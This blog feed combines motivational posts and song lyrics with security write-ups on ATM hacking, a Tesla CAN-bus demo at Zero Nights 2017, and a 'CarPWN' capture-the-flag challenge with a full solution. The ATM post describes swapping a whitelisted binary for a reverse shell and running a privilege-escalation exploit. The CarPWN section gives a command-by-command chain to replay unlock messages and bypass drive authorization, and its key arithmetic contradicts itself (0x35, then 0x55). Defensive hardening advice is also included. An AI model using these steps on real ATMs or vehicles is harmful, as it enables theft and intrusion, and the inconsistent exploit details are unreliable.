You will still have to learn programming languages, master Linux core utilities, or dive into the intricacies of sales. But it won't lead to burnout. It will be dosed, like the Pareto 80/20 principle in action. It's not about knowing a lot about everything, but about knowing the right things that are truly valued.

The Gameplay is Live. The Question is How You'll Play.

Remember the scene in GTA: San Andreas where the hero appears out of nowhere, with a zero balance, and begins his climb to the top of the criminal underworld? Well, you were also born. Your storyline is live. The timer is ticking. Whether you like it or not, the game has started, and the process is ongoing. You can't rewind. One way or another, you will complete your track and reach your individual finale. The only question is "How" you will travel this path and what you will gather along the way.

In this context, "Allowance" is like a guide to the game world, a tuning of the game mechanics. It's the set of options that allow you to manipulate what is changeable within the game, a pointer to hidden features, secrets, and unpublicized Easter eggs.

You will write your story and complete the plot regardless. Will it be good or bad? High-quality or not? With comfort or pain? Unlocking your talents or living in the shadows? The choice is yours. You can choose how to walk this path.

So, will you use the "developer features" or not? It doesn't matter to anyone but you. No one will impose a style of "play" on you or punish you for your choice. From the perspective of the macrocosm, categories like "good" or "bad" do not exist here. It's all just experience.

Why is it like this? Who designed it? I'm not ready to answer that, as I am still searching myself. Therefore, any choice you make will be accepted as the right one.

So, what will you choose?

Don't answer me.

Answer yourself.

Your Move, Player

Life is a game. You are the player. The mission is experience. The plot is malleable.

You choose which path to take. No one is calling you or obligating you to do anything. You have a choice. Make it. There is no "wrong" decision.

Is this the end of the publication? Or the beginning of your new journey?

The teacher appears when the student is ready. I can point you in a direction, give you a hint on where to look, what to read, what to ask. But you must find what you're looking for on your own. This cannot be explained academically. It can only be lived.

A Beacon in the Dark: The Poetry of My Transformation "NO LOOKING BACK"

Ivan Piskunov — Thu, 27 Nov 2025 15:20:00 +0000

I burned the map they gave me. Here's the soundtrack to finding my own way.

The lighthouse in the dark, the compass in the storm. I'm sharing the lyrics that guided my rebirth. Let this spark ignite your own fire.

What Is This?

This is emotion, crystallized into words. A state of being, translated from the depths of my soul—it's the voice of my heart, my true "I." This is my attempt to express the inexpressible through the tools I have: words, voice, and music. This track is the consolidation of my most vital realizations, insights, and the voice within... an offering of my inner world.

Why Is It Here?

To break your chains. To shatter social limits, handed-down goals, others' dogmas, and outdated beliefs. Be yourself. Be real. Live your life, walk your path. I've gone through this transformation. I did it. You can do it too. Let this spark reach your heart and ignite a fire.

With Fire in My Heart and a Compass in My Hands: Through the Storms, Homeward

There is no one who doesn't get tired. Only those who don't give up. My path has been filled with challenges and trials, which I've written about before. There were failures, falls, despair, depression—the fire inside grew dim, but it never went out. Music was my refuge. Headphones on, player up loud—it was my salvation when nothing else worked.

The words were born on their own. This is the voice of my soul, expressed in symbols (words, lines) that can be passed on to someone else. It's the raw expression of my emotions during pivotal moments—in times of despair and pain, and the subsequent joy of triumph, the realization that life's milestones have been passed, that the dark night has given way to a new dawn!

I am writing my story. My voice sounds in my own name. And you? You can write your legend!

Burn away everything old and unnecessary. Light your way through the storm to a new shore.

Take this compass—you are the captain of your ship.

It's time to leave the harbor.

"NO LOOKING BACK"

[Intro]
Crossroads, seven lanes. Silence. Just the beat in my ears.
It ain't handing out answers, it just lets me breathe free here.
No more borrowed maps, no whispers from behind.
Just me. And my pick. And the whole world aligned.

[Verse 1]
Remember how it started, bro? They handed me the script,
Every step prewritten—pressed like leaves in a book that's stiff.
Life was a gray design, end fixed from the start,
And lemme tell ya—I was a puppet in their works of art.
"Walk straight, don't question, listen to those who are older,"
They hammered fake rules in, nails driven in my shoulder.
So I marched, jaw locked, in a tight cage of "you ought,"
Till my voice turned a whisper—almost erased to naught.
I laid bricks for their castles, in concrete, dust, and strain,
Forgot the beacons burning deep in my chest and brain.
But one cold dawn in the mirror, sleep-heavy, blank as stone,
I saw not me—but a shadow, trained to obey the tone.
Something cracked in the silence—permafrost split in two,
And I asked myself softly, "MAN, what do YOU wanna do?"

[Chorus]
I'm burning every bridge that was leading me wrong,
Tearing up the tickets to rides where I don't belong.
Storm is tearing pages, but I'm still the author,
I won't buy addresses that strangers offered.

My compass is my heartbeat, my atlas is my soul,
I walk toward my light—unhurried, in control.
Behind me only ashes from shackles I outgrew,
My horizon's a blank page — for new worlds to draw through!

[Verse 2]
First step felt like a cliff-jump—no rope, no net in sight,
Every instinct screaming, "Go back! That edge ain't right!"
But the air of freedom hit—clean, sweet, and raw,
Better than gilded comfort in a cramped, gold-plated maw.
Suddenly the world lit up with colors I'd never seen,
Turns out there's a hundred roads I used to paint obscene—
'Cause I feared the weight of owning every bruise,
Every win and every loss—no one else to choose.
But that's where the power lives: when scars are yours alone,
Each lesson bled and learned, carved in marrow and bone.
Now I chase my sunrises, not where I was told to go,
But where my spirit leads me—free, steady, and though
Let tomorrow stay unknown—no guarantee in sight,
I trade stale "ever-after" for a billion ways to fight.

[Bridge]
They whispered, "Turn around. It's safer, softer there.
You'll break on rocky edges, vanish in empty air."
I heard 'em—but the fire inside kept burning brighter,
Lighting up my markers, making every sign look wider.
'Cause freedom ain't chaos—it's the strictest measure,
It's owning what you choose—your faith, your treasure.
And the taste of that freedom? Sweeter than wine or honey.
Worth every single risk. One of one—no money.

[Outro]
My path... A blank page...
No borders. Just the sound of my steps.
My road... Mine only...
And I'm on my way, MAN!

ATM Hacking: From Terminator 2 Fantasy to Red Team Reality

Ivan Piskunov — Thu, 20 Nov 2025 15:30:00 +0000

Intro

"Hey, this plastic... it's, uh, it's an access card for this cash machine. Watch this..." — John Connor's iconic line from Terminator 2 planted a seed in an entire generation's imagination about "easy money." But what if I told you this fantasy has become a stark reality for cybersecurity professionals? Not as a crime, but as the ultimate intellectual challenge—the quintessence of the hacker ethos that's about deep system understanding rather than destruction.

Modern ATMs aren't just metal safes with cash. They're full-fledged computers running specialized operating systems (often Windows XP Embedded or Windows 7) surrounded by specialized peripherals: cash dispensers, card readers, and PIN pads. And like any computer, they're vulnerable. These vulnerabilities range from network security misconfigurations to physical access flaws. This article isn't a robbery guide but an investigative look at logical ATM attacks, based on real-world case studies and penetration testing methodologies.

🎯 Anatomy of a Target: What We're Dealing With

Before attacking, you need to understand the target's structure. Simplistically, an ATM has two main parts:

The Top Box (Service Area): Behind a plastic door, often secured with a simple lock (keys for which can sometimes be found online), lies the computer. This is a standard PC with USB ports, network adapters, and a hard drive.
The Safe (Cash Area): The armored compartment holding the cash. The cash dispenser is here, but its control cable runs up to the service area.

The key technology enabling peripheral operation is the XFS (eXtensions for Financial Services) standard. This is a middleware layer that provides applications with an API to control devices via special drivers (Service Providers). Gaining control over this manager is often the primary goal of an attack.

Why ATMs Are Vulnerable: The Real Attack Surface (high-level)

An ATM is a PC + peripherals with strict UX constraints, often Windows in kiosk mode, wrapped by vendor middleware (e.g., XFS stacks), talking to a host. Attackers (and CTF designers) mix angles:

Kiosk shell & UI exposure: anything that leaks a file picker, help viewer, or updater can become an execution primitive.
Application control gaps: allow-listing (AppLocker/WDAC) misconfigs create unexpected allow paths.
Peripheral trust: dispenser/card reader/encryption PIN pads must authenticate messages; no nonces = replay risk.
Boot-chain & update hygiene: once “security suite” agents or integrity checkers are mis-deployed, the “protector” can become an attack surface. (Recent DEF CON reporting on patched flaws in a popular ATM security suite is a sober reminder.) ([WIRED][2])

Bottom line: ATMs fail when any one layer assumes trust it didn’t actually verify.

⚔️ The Hacker's Arsenal: From Physical Access to Network Intrusion

Attacks can be classified by their entry vector. Here are the primary scenarios relevant to the 2018-2020 era.

1. Physical Access & The "Black Box" Attack

This method requires opening the service area. The attacker doesn't reinstall software but connects their own portable device—the "black box"—to the ATM's internal interfaces.

How it works: The attacker locates the cable connecting the ATM's PC to the cash dispenser, disconnects it, and plugs in their own device. The "black box," often a Raspberry Pi or similar, emulates a legitimate dispenser and sends commands to eject all the cash.
Why it works: There's a frequent lack of secure authentication between the computer and peripheral devices. If the device on the other end of the cable sends the correct commands, the ATM obeys.

2. Malware Injection

This is the classic approach. Legendary malware families like Skimer (known since 2009) or Tyupkin target the ATM's software directly.

Infection Vector:
- Physical: Via the USB port or by replacing the hard drive.
- Remote: Through a compromised bank network if ATMs are poorly isolated. Sometimes achieved via phishing attacks targeting bank network administrators.
Mechanics: Malware like Skimer injects itself into a legitimate process (e.g., SpiService.exe) and gains full control over the XFS manager. Control can be executed using a special trigger card or by entering a code via the PIN pad at a specific time of day.

3. Network-Level Attacks

If the ATM is misconfigured and its network services are exposed, additional vectors open up.

Man-in-the-Middle (MitM) Attack on Processing Center: An attacker within the bank's network can intercept or spoof traffic between the ATM and the processing center, tricking the ATM into dispensing cash without proper authorization.
Vulnerability Exploitation: Attacks targeting network equipment or unpatched vulnerabilities in the ATM's operating system.

Lab/CTF Threat Model: The Pieces on the Board

Hosts (sanitized):

ATM-TERM-012 — kiosk endpoint (Windows, locked UI, vendor middleware).
CORE-SVC-01 — mock “host” that authorizes withdrawals. Network: isolated VLAN 10.27.13.0/24, verbose logging. Goal: Demonstrate where design (not clever opsec) prevents abuse.

The exercise is to think in execution primitives: “Can the user cause a signed, trusted process to open a file dialog?” “Can a maintenance tool elevate a workflow?” “Does the policy allow an unexpected binary because of path precedence?” Each “yes” is a pivot class, not a recipe.

Kiosk Escape Patterns: Explorer, hotkeys, maintenance/debug workflows

Explorer by accident. Kiosk shells are often custom, but help/feedback/update dialogs sometimes spawn file pickers or viewers. If the picker can browse beyond a whitelisted folder or invoke helpers (print preview, “open with”), you’ve created a limited shell.
Hotkey leftovers. Accessibility combos, service hotkeys, or OEM utilities occasionally survive hardening. Good builds kill/remap them; bad builds forget one.
Maintenance/technician mode. Service apps sometimes run higher-integrity “just for techs.” In lab settings, a tray icon/scheduled task/service can signal such a path. If it’s not gated by MFA/physical keys, it’s a pivot.

Defensive takeaway: Remove UI affordances → remove the primitive. Treat kiosk design like attack surface reduction.

AppLocker Reality Check: Hash vs Path vs Publisher & rule-precedence traps

What AppLocker really keys on: Publisher, Path, File Hash rule conditions. Hash pins an exact binary; Publisher pins signature lineage/version; Path pins a location. Rule collections (EXE/MSI/Scripts/DLL/Packaged apps) and rule precedence matter. Microsoft’s official docs are the north star. ([Microsoft Learn][3])

Common failure modes (seen across CTFs and real estates):

Over-broad Path rules (e.g., “allow everything under C:\Tools\*”) silently trump stricter hash rules.
Too-loose Publisher scopes (wild version ranges, entire vendors) create proxy execution through trusted containers.
Stale hash lists post-update → ops “temporarily” relax policy → drift.
Scope confusion: service accounts or maintenance updaters enforced under different policies.

WDAC vs AppLocker. On modern Windows, WDAC (code integrity at kernel/user) is the stronger baseline; AppLocker can complement it for per-user/role refinements. Microsoft’s App Control/WDAC guidance has matured — apply default deny, then explicitly allow with tight Publisher conditions; automate policy updates. ([Microsoft Learn][4])

Italic sidenote: There’s no “flip the hash” trick at user level — change the file, and the computed hash no longer matches. The real action is in policy gaps and precedence.

From Foothold to Admin: classic Windows priv-esc classes to close

No exploits here; just the buckets defenders must audit continuously:

Service misconfig: writable service binaries, directories in search path, unquoted service paths.
Installer policy foot-guns: legacy “installers with elevated rights” settings.
DLL search-order hijacks: especially when signed services load from writable dirs.
Token mishandling/scheduled tasks: helpers running with elevated tokens accessible to users.
Legacy accessibility shims misapplied on kiosks.

Create a controls matrix mapping these to checks in your CI of gold images.

Packet Games (Sanitized): capture/replay as a thought model

Some lab/CTF scenarios nudge you to think about message authenticity between the PC and cash dispenser or between ATM and host. If commands are not protected with per-session keys, nonces, and integrity (MAC/signature), capture/replay can simulate legit flows. That’s why mature vendors and standards bodies emphasize mutual auth and replay protection on all links. Historical demos (and writeups) showed how damaging it is when that’s missing. ([WIRED][1])

Blue-team lens: Even when traffic looks “encrypted,” verify it’s fresh (nonces), bound to hardware (TPM/secure elements), and sequenced. Pure TLS without device binding isn’t enough for critical peripherals.

🎯 The Setup: A Vulnerable ATM in a Sandbox

The target wasn't your average street corner ATM. It was a standalone Windows XP Embedded machine (because of course it was) set up in the "Leave ATM Alone" zone. The goal? Get to the "money" – in this case, a flag or a virtual jackpot. The catch? It was locked down with AppLocker and other restrictions. This wasn't a smash-and-grab; it was a puzzle box waiting to be picked.

🔓 Step 1: Bypassing AppLocker with Hash Replacement Magic

AppLocker was the first gatekeeper. It uses file hashes to whitelist applications. You can't just run cmd.exe or your favorite exploit tool. But here's the kicker: if you can replace a whitelisted executable with your own malicious file but keep the original filename, AppLocker might just give it a pass based on the path. The trick was finding a writable directory containing a legitimate, whitelisted application.

The Playbook:

Recon: Explore the file system. We found a directory for a diagnostic tool, C:\ATM\DiagTool\, which contained diaglauncher.exe – a whitelisted app.
The Switch: We renamed the original diaglauncher.exe to diaglauncher.exe.bak and copied our malicious executable (a simple reverse shell) to the same folder, naming it diaglauncher.exe.
Execution: When the ATM's software or a user action triggered the legitimate diag tool, it would inadvertently launch our shell. AppLocker saw a request to run C:\ATM\DiagTool\diaglauncher.exe and, seeing the file in the expected location, allowed it. It didn't deeply re-verify the hash every single time in this specific flawed implementation.

This is a classic example of a race condition or a logic flaw in the security policy enforcement, not necessarily a weakness in AppLocker itself, but in how it was configured.

⌨️ Step 2: GUI Tricks & Privilege Escalation to SYSTEM

With a foothold via our reverse shell, we got a user-level command prompt. But we needed NT AUTHORITY\SYSTEM privileges to really own the box. The ATM interface was a full-screen kiosk application, but Windows was lurking beneath.

Method 1: The Hotkey Gambit
We tried classic Windows shortcuts:

Ctrl + Shift + Esc to open Task Manager? Blocked.
Alt + F4 to close the app? Sometimes works! In one case, closing the kiosk app revealed a bare Windows desktop with an Explorer shell. From there, Win + R to launch cmd.exe was golden.
Windows Key + R (Run dialog) was the holy grail. If it worked, you could type cmd or powershell and get a shell running in the context of the currently logged-in user (which was often a privileged service account).

Method 2: Debugging/Test Mode via Physical Access
Many ATMs have a physical key to access a service menu. In our scenario, this was simulated. Once the "service door" was open (metaphorically, in the challenge), you could:

Attach a USB keyboard.
Reboot the machine and interrupt the boot process to get into Windows recovery options or safe mode, which often doesn't load the restrictive kiosk software.

Privilege Escalation (From User to Admin/SYSTEM):
Once we had a user-level shell, we used well-known local privilege escalation exploits for Windows XP/7. The KiTrap0D (MS10-015) or Hot Potato families of exploits were our go-to. The process was simple:

Upload a pre-compiled exploit binary (e.g., churrasco.exe or ms10-015.exe) to the target.
Execute it from our low-privilege shell.
Boom! We got a new command prompt running as SYSTEM.

# Example of what it looked like on our attacking machine (Kali Linux)
nc -lvnp 4444
# ...connection from ATM...
C:\temp>whoami
atmuser
C:\temp>churrasco.exe
C:\temp>whoami
nt authority\system

📡 Step 3: The Radio Hack - Spoofing the Cash Cassette Lock

This was the coolest part. The "cash" compartment was secured by an electronic lock that received its "open" signal via a wireless protocol. This is where we moved from software hacking to a bit of hardware/network hacking.

The Toolchain:

Software-Defined Radio (SDR) like an RTL-SDR dongle.
Wireshark (with the right plugins) or a specialized tool like URH (Universal Radio Hacker).
Scapy for custom packet crafting.

The Attack Flow:

Sniffing: We used the SDR to monitor the radio frequency used by the lock system. When an authorized "open" command was sent (e.g., by a technician during a refill), we captured the raw signal.
Analysis: We analyzed the captured signal in URH or a similar tool. We looked for patterns – was it a simple replay attack, or did it have a rolling code? In this CTF, it was often a static code for simplicity.
Spoofing: Once we identified the "open" packet, we used our SDR to re-transmit (replay) that exact signal. We used scapy-radio or a simple Python script with the rtl_sdr library to broadcast our malicious "OPEN SESAME" command.
Jackpot: The lock, hearing what it thought was a legitimate command, disengaged. No brute force, just eavesdropping and repetition.

🧠 Conclusion: The Hacker Ethos

This ATM challenge wasn't about crime; it was a perfect embodiment of the original hacker ethos: the deep desire to understand a system, to find the gap between how it's supposed to work and how it actually works. It was intellectual, it was creative, and it required a broad skillset – from OS internals and exploit development to basic radio physics.

It's these "lamp-like," hacker-friendly moments that form the best memories in a security researcher's career. It’s not about destruction; it’s about the joy of discovery and the satisfaction of solving a complex puzzle. This is what true hacking is all about.

📚 Further Reading & Resources

Black Hat/DefCon Talks: Search for "ATM Jackpotting" talks by Barnaby Jack (the legend who started it all) and others from the 2010-2015 era. Titles like "Jackpotting Automated Teller Machines" are classics.
Books: The Hardware Hacker by Andrew 'bunnie' Huang isn't about ATMs specifically but teaches the mindset of hacking physical things.
Vendor Guides: While not public, the PCI PIN Security Requirements and PCI ATM Security Guidelines are the holy grail for how these systems should be secured. SANS and CIS may have whitepapers on critical infrastructure protection that touch on ATM security.
Tools for Play: Set up your own lab with an old PC, a cheap SDR dongle, and a used electronic lock from eBay. The best way to learn is by doing in a safe, legal environment.

Remember, with great power comes great responsibility. This knowledge is for understanding and improving defenses, not for exploitation. Stay curious, stay ethical.

🛡️ Building Defenses: How to Protect ATMs

Clearly, security must be multi-layered. Recommendations for banks and operators include:

Physical Security: Reinforced locks, tamper sensors, CCTV, protective covers for ports and cables.
Hardware & Software Measures:
- Application Control / Whitelisting: Allowing only code digitally signed by the bank to execute.
- Device Authentication: Implementing mechanisms to ensure commands to the dispenser come only from an authorized source.
- Encryption of communication channels between ATM components and the processing center.
Network Security: Strict network segmentation, isolating ATMs in separate VLANs, and configuring firewalls.
Timely Software Updates and Regular Security Audits.

Hardening Playbook: layered controls that actually move the needle

Kiosk UX

Remove every unintended launcher/viewer; redesign flows so no file pickers appear under standard roles.
Disable or rebind hotkeys; audit accessibility shims; gate maintenance behind physical keys + MFA.

Application Control

Prefer WDAC default-deny with tight Publisher allow lists; supplement with AppLocker for role scoping.
Avoid broad Path rules; automate allow-list refresh on updates; enforce for service accounts. Microsoft’s App Control/WDAC + AppLocker docs lay out the playbook. ([Microsoft Learn][4])

Boot, Device, & Integrity

UEFI Secure Boot + Measured Boot with attestation to prove the image is your image.
Treat security suites as Tier-0: keep them patched; don’t rely on them to fix policy design (see patched 2022–2024 issues in a widely used ATM suite). ([WIRED][2])

Peripherals & Comms

Enforce mutual auth, per-session keys, nonces, integrity on dispenser/card-reader channels; reject out-of-sequence messages.
Segment ATM networks; minimize services; monitor for anomaly patterns (vendor guidance and ATMIA best practices are good anchors). ([Diebold Nixdorf][5])

Baselines & Benchmarks

Build against CIS Benchmarks (Windows desktop/server) and security baselines; drift-detect via configuration management. ([CIS][6])

Operational Hygiene

Golden-image CI: on each image build, run application-control tests, service/DLL path checks, and kiosk UX audits.
Centralize AppLocker/WDAC audit logs into SIEM; watch for attempted executions in collections (EXE/MSI/Scripts/DLL). SANS has good allow-listing primers. ([NinjaOne][7])

📚 Deep Dive: Recommended Resources

For those wanting expert-level knowledge, here are key resources:

Original Research:
- Positive Technologies, "Logical Attack Scenarios on ATMs, 2018" – A fundamental report detailing the technical aspects of vulnerabilities.
- Kaspersky Lab, "ATM Attacks: Past, Present, and Future" – An excellent overview of the history of famous ATM malware.
Conference Materials:
- Black Hat / DEF CON: Search for talks on "ATM Jackpotting," "Black Box Attack," and "XFS security." The presentations by the legendary researcher Barnaby Jack are considered classics.
Books: The Hardware Hacker by Andrew 'bunnie' Huang – While not exclusively about ATMs, it excellently explains the hacker mindset for breaking physical devices.

💎 Conclusion: It's About Knowledge, Not Force

This article, based on memories and analysis of open-source materials, is a tribute to this spirit of exploration. As Richard Stallman said, "The world should be full of hackers"—not criminals, but curious researchers who help make systems stronger. This is the original meaning of the word "hacker."

Author: Ivan Piskunov (c) 2018/2019, updated 2025
This article is a compilation of personal experience and research from various public sources, structured to share knowledge about security research.

Shock to the System: How We 'Hacked' a Tesla at Zero Nights 2017 ⚡🔧

Ivan Piskunov — Thu, 13 Nov 2025 04:00:00 +0000

0. Preamble: Back to the Digital Playground

If cracking that analog safe was a lesson in vintage, tactile hacking, then what came next was its perfect, high-tech counterpart. Welcome back to Zero Nights 2017—Russia's most epic hacker playground. The energy was still electric from the safe-cracking victory, but the conference was far from done with us. As a journalist for "Hacker" magazine, my mission was to document the chaos and creativity. But let's be real: when you see a Tesla's brain sitting on a table, wired up and begging to be poked, you don't just write about it. You roll up your sleeves and get your hands dirty. This is the story of how our rag-tag crew decided to give a Tesla a friendly, non-destructive digital nudge.

1. Zero Nights: Where the Future Gets Stress-Tested

Zero Nights wasn't just about listening to talks; it was about doing. Archibald Kane's creation was a sanctuary for the curious, a place where theory met practice in the most explosive ways. The 2017 edition was a melting pot of ideas:

Next-gen research that made you question everything you knew about security.
Villages dedicated to every discipline—from lock picking to IoT busting.
An atmosphere where corporate security geeks and anarchic hobbyist hackers shared beers and exploits.

It was in this beautiful maelstrom that we found the Car Hacking Village. And sitting there, not as a full car but as a collection of its most vital organs, was our target: a Tesla Model S.

2. Why Tesla? The Hacker's Dream Ride (For All the Wrong Reasons)

Let's be clear: Tesla isn't some insecure clunker. But in 2017, it was the perfect storm for hacker interest. Why?

It's a Computer on Wheels: Forget carburetors and spark plugs. A Tesla is a network of ECUs (Electronic Control Units) running millions of lines of code. More code = more potential bugs.
Connected Everything: With constant OTA (Over-The-Air) updates and internet connectivity, the attack surface wasn't just physical; it was digital and vast.
A High-Profile Target: Hacking a Toyota is cool. Hacking the poster child for the automotive revolution? That's headlines. By 2017, researchers had already shown glimpses of vulnerabilities, proving these rolling computers were a fascinating new frontier for infosec.

3. Our "Tesla" on the Table: Hacking Without the Heavy Lifting

You might be imagining a full Tesla parked in the middle of the conference hall. That would be ridiculously cool, but also ridiculously impractical. Instead, the organizers created the ultimate hacker-friendly setup:

The Brain: The actual head unit (the giant touchscreen computer), complete with its OS.
The Nervous System: A network of bench-mounted ECUs and the vehicle's CAN bus (Controller Area Network) - the digital backbone where all electronic components communicate.
The Body: A real Tesla door with its electronic latch, window, and handles.
The Heartbeat: The instrument cluster display.

This "Tesla in a box" was genius. It was all the fun of car hacking without the 2-ton paperweight. It gave us direct access to the CAN bus—the nervous system of the car where all the electronic components chat—and let us interact with real hardware in real-time.

4. No Manual, No Problem: The Hacker Mindset Takes the Wheel

Did we have a dedicated automotive security expert on our team? Nope. Did we have official Tesla schematics? Absolutely not. What we did have was the universal hacker toolkit:

Curiosity: The relentless need to ask, "What happens if I send this packet?"
Google-Fu: Rapid-fire searching for every research paper, conference talk, and forum post about Tesla CAN bus messages.
Adaptability: Applying knowledge from IT network hacking to this new, weird, vehicular network.
Basic Gear: We used a Raspberry Pi with a CAN bus interface and simple Python scripts to sniff and inject packets. Our main tools were Wireshark for analyzing CAN traffic and a terminal for sending commands.

We started by sniffing the legitimate traffic on the CAN bus when the door handle was activated. Then, we tried to replay those signals. Then came the fuzzing—sending random, unexpected data to see what the system would do. It was a beautiful, chaotic process of educated guessing and reverse-engineering the protocol from scratch.

5. The Payoff: When the Digital Key Turned

After hours of experimentation, the magic happened. By reverse-engineering the communication on the CAN bus, we identified the specific commands that controlled:

The Door Latch: We found the command that tricked the system into thinking a valid key fob was present. A satisfying CLUNK echoed from the door module as it unlocked.
The Ignition Sequence: We didn't just stop at the door. We pushed further, spoofing the command that tells the car it's okay to start. The instrument cluster lit up like a Christmas tree, simulating an engine start.

We didn't hotwire it; we packet-wired it. The crowd that gathered erupted in cheers. It was a textbook example of a hardware-level vulnerability—by having physical access to the internal network (which an attacker might get by compromising a lesser ECU or through a malicious repair), we could send unauthorized commands to critical systems.

6. Conclusion: More Than Just a Party Trick

This wasn't just a cool demo; it was a live, hands-on case study of a real-world threat. We took abstract concepts—CAN bus injections, ECU vulnerabilities—and turned them into something tangible: an unlocked door and a "started" engine. We showed that even with partial physical access (e.g., to a diagnostic port), one could potentially gain control over critical functions.

The Tesla challenge at Zero Nights 2017 was everything that makes hacker culture incredible:

Real Gear: We worked on actual Tesla components, not simulations.
Pure Research: The drive was knowledge and fun, not malice.
Community Learning: Everyone learned from each other's failures and successes.
Unforgettable Fun: The sheer, unadulterated kaif of making something do what it's not supposed to do.

It showed that the best security challenges don't need a full car; they just need creativity, genuine hardware, and a bunch of curious minds willing to break things to make them stronger. It was a hell of a ride.

Would you dare let us near your smart car? Share your thoughts in the comments!

// D3One, now accepting applications for a get-away driver.

CarPWN: "Tesla Model S (2017) Gateway Bypass"

Category: Hardware Security / Automotive Hacking
Difficulty: Hard
Estimated Time: 4-6 hours
Author: Lacky team
Year: 2017
Target: Tesla Model S (circa 2017, with firmware version 17.11.3)

Challenge Description

Welcome, Red Team. Our client, a penetration testing firm, has been tasked with assessing the physical security of a Tesla Model S. The vehicle is located in a secure garage. You have obtained temporary physical access to the vehicle's interior.

Your goal is to gain permanent access to the vehicle by:

Cloning a Digital Key: Create a functional clone of the owner's key fob to unlock the doors.
Defeat Drive Authorization: Bypass the system that prevents the car from being driven without a recognized key present inside the cabin.

You have connected a laptop to the vehicle's Diagnostic OBD-II port. You suspect the critical systems are located on a privileged internal CAN bus.

Objectives:

Identify the gateway ECU and access the internal CAN bus.
Sniff and reverse-engineer the door unlock command.
Sniff and reverse-engineer the "Start Drive" command.
(Optional) Identify a vulnerability that allows persistent code execution on the gateway or infotainment system.

Tools Provided: A laptop running Kali Linux with can-utils, Wireshark, and a SocketCAN-compatible USB-CAN adapter (e.g., EMS NeoVI, Kvaser, or a cheaper CANable).

Step-by-Step Solution: The Attack Methodology

Step 1: Reconnaissance and Mapping the CAN Network

The first step is to understand the network topology. A Tesla, like most modern cars, has multiple CAN buses (Powertrain, Chassis, Body, Infotainment) connected via a central Gateway ECU. The OBD-II port often provides access to a less-critical bus; the goal is to pivot to the internal bus where key commands are sent.

Actions & Commands:

Connect the USB-CAN adapter to the OBD-II port.

Bring up the CAN interface:

sudo ip link set can0 up type can bitrate 500000
sudo ifconfig can0 up

Start sniffing general traffic to identify active buses and patterns:
```
candump -l can0
```
Analyze the captured log file in Wireshark. You'll notice a flood of messages. You need to filter for security-relevant commands. Look for messages that appear infrequently, likely triggered by a key fob button press.

Step 2: Triggering and Sniffing the Unlock Command

Actions & Commands:

Have an accomplice press the key fob's unlock button while you are sniffing.
Alternatively, press the door handle button to trigger an unlock attempt.

In Wireshark, look for a message that appears exactly once during this event. It might look something like this in candump output:

can0 2F0   [8]  05 62 00 00 01 A5 C8 11   # Example: Body Control Module ID, Unlock Cmd
can0 311   [8]  00 00 00 00 00 00 00 00   # Example: Gateway relay message

Note the CAN ID and the data payload. The key is in the data bytes. For example, the byte 01 might indicate "unlock" and 00 might indicate "lock". The other bytes might be a counter or a simple checksum.

Step 3: Spoofing the Unlock Command (Key Cloning)

Once you've isolated the message, you can replay it to impersonate the key fob.

Actions & Commands:

Use cansend to inject the captured message back onto the bus:
```
cansend can0 2F0#0562000001A5C811
```
If the message is correct, you will hear the door locks activate. Congratulations, you've cloned the key signal. This is a simple replay attack, proving the system lacks rolling codes or uses a weak implementation.

Step 4: The Hard Part - Bypassing the Drive Authorization

This is more complex. The vehicle might unlock with a replayed signal, but it won't drive without the key's immobilizer signal inside the car. This is typically done via Passive Keyless Entry (PKE) or a key in the cup holder.

The Attack Vector: Diagnostic Security Access
Research at the time showed that the Gateway ECU often had diagnostic functions that could be abused.

Actions & Commands:

Find the Diagnostic Session: You need to talk to the Gateway ECU directly. You need its CAN ID. This was often publicly known or could be found by scanning (e.g., trying to send diagnostic requests to different IDs).
- Standard Diagnostic ID: Try sending requests to 0x7DF (broadcast) or known addresses like 0x752 (Gateway).
Request Security Access: The Unified Diagnostic Services (UDS) protocol has a 0x27 service for "Security Access". You need to send a seed request and then calculate a key to gain privileged access.
```
# Request a seed from the Gateway (UDS Service 0x27, Subfunction 0x01)
cansend can0 752#0227010000000000
```
Calculate the Key: The ECU responds with a random seed (e.g., -). Many older systems used weak algorithms to generate the key from this seed (e.g., a linear algorithm, or even a fixed response). This algorithm could be reversed from firmware dumps or discovered through research.
- Example: If the seed is 0x44 0x71, the key might be (0x44 XOR 0x71) + 0x20 = 0x15 + 0x20 = 0x35.
```
# Send the calculated key (UDS Service 0x27, Subfunction 0x02)
cansend can0 752#0227020000003500
```
Send the Malicious Command: Once security access is granted, you can use other UDS services. The critical one is Routine Control (0x31) which can start/stop processes.
- Research might show that Routine ID 0x0201 is "Enable Drive".
```
# Start Routine 0x0201 - "Enable Drive"
cansend can0 752#0231010201000000
```
If successful, the dashboard will show "Ready to Drive", and you will be able to put the car into gear.

Full Example of a Successful Exploit Chain

# 1. Bring up the interface
sudo ip link set can0 up type can bitrate 500000
sudo ifconfig can0 up

# 2. Sniff and discover the unlock command is: ID 0x2F0, Data: 05 62 00 00 01 A5 C8 11
# 3. Clone the key and unlock the car
cansend can0 2F0#0562000001A5C811

# 4. Get inside the car. Now bypass the immobilizer via the Gateway.
# 5. Request Security Access seed from the Gateway (0x752)
cansend can0 752#0227010000000000
# ECU responds: 752#0327114471000000 (seed = 44 71)

# 6. Calculate the key: (0x44 XOR 0x71) = 0x35; 0x35 + 0x20 = 0x55
cansend can0 752#0227020000005500
# ECU responds: 752#0327120000000000 (positive response!)

# 7. Send the command to enable the drive state
cansend can0 752#0231010201000000

# 8. The car is now in "Ready" state. You may drive away.

Key Technical Details & Why It Worked (Circa 2017)

Lack of Rolling Codes: The key fob signal, once sniffed, could be replayed. Modern systems use cryptographic challenges and responses that change every time.
Insecure Diagnostic Interface: The Gateway ECU's diagnostic port was accessible from the OBD-II bus and used a weak security algorithm for access control. This allowed attackers to send privileged commands.
Hardcoded Secrets/Routines: The UDS Routine IDs and the algorithm for calculating the security access key were often hardcoded and identical across many vehicles, making them susceptible to reverse engineering.

Boosting Security Excellence: How OKRs Drive Results in Application Security and DevSecOps

Ivan Piskunov — Mon, 03 Nov 2025 04:40:00 +0000

Introduction to OKRs: The Framework That Powers Tech Giants

In the fast-paced world of technology and cybersecurity, staying focused on what truly matters can make the difference between preventing a major breach and suffering catastrophic consequences. Objectives and Key Results (OKRs) have emerged as a powerful goal-setting framework used by some of the world's most successful organizations including Google, Amazon, Netflix, and LinkedIn to align teams, drive ambitious outcomes, and measure what matters most .

